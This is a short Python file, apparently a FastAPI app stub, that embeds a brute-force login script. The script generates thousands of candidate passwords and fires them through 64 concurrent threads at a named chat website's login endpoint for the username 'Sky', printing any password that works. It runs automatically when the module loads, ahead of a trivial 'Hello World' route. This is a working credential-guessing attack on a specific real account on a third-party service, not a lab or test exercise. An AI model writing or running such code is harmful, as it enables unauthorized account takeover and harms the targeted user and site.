|
from fastapi import FastAPI |
|
|
|
app = FastAPI() |
|
import requests |
|
import time |
|
from concurrent.futures import ThreadPoolExecutor, as_completed |
|
|
|
def send_login(username, number_of_attempts): |
|
charset = 'abcdefghijklmnoprstuvwy1234567890@,.' |
|
|
|
def send_request(upass): |
|
response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={ |
|
'password': upass, |
|
'username': username |
|
}) |
|
if response.text in ['1', '2']: |
|
return None |
|
elif response.text == '3': |
|
print(f"Successful login with password: {upass}") |
|
return upass |
|
|
|
|
|
def next_word(current): |
|
i = len(current) - 1 |
|
while i >= 0: |
|
next_char_index = charset.find(current[i]) + 1 |
|
if next_char_index < len(charset): |
|
current = current[:i] + charset[next_char_index] + current[i + 1:] |
|
return current |
|
else: |
|
current = current[:i] + charset[0] + current[i + 1:] |
|
i -= 1 |
|
return charset[0] + current |
|
|
|
|
|
password = charset[0] |
|
passwords = [password] |
|
|
|
for _ in range(number_of_attempts - 1): |
|
password = next_word(password) |
|
passwords.append(password) |
|
|
|
with ThreadPoolExecutor(max_workers=64) as executor: |
|
future_to_password = {executor.submit(send_request, pw): pw for pw in passwords} |
|
|
|
print(password) |
|
print(passwords) |
|
start = time.time() |
|
|
|
|
|
username = 'Sky' |
|
number_of_attempts = 9999 |
|
send_login(username, number_of_attempts) |
|
end = time.time() |
|
print(end - start) |
|
|
|
@app.get("/") |
|
def greet_json(): |
|
return {"Hello": "World!"} |
|
|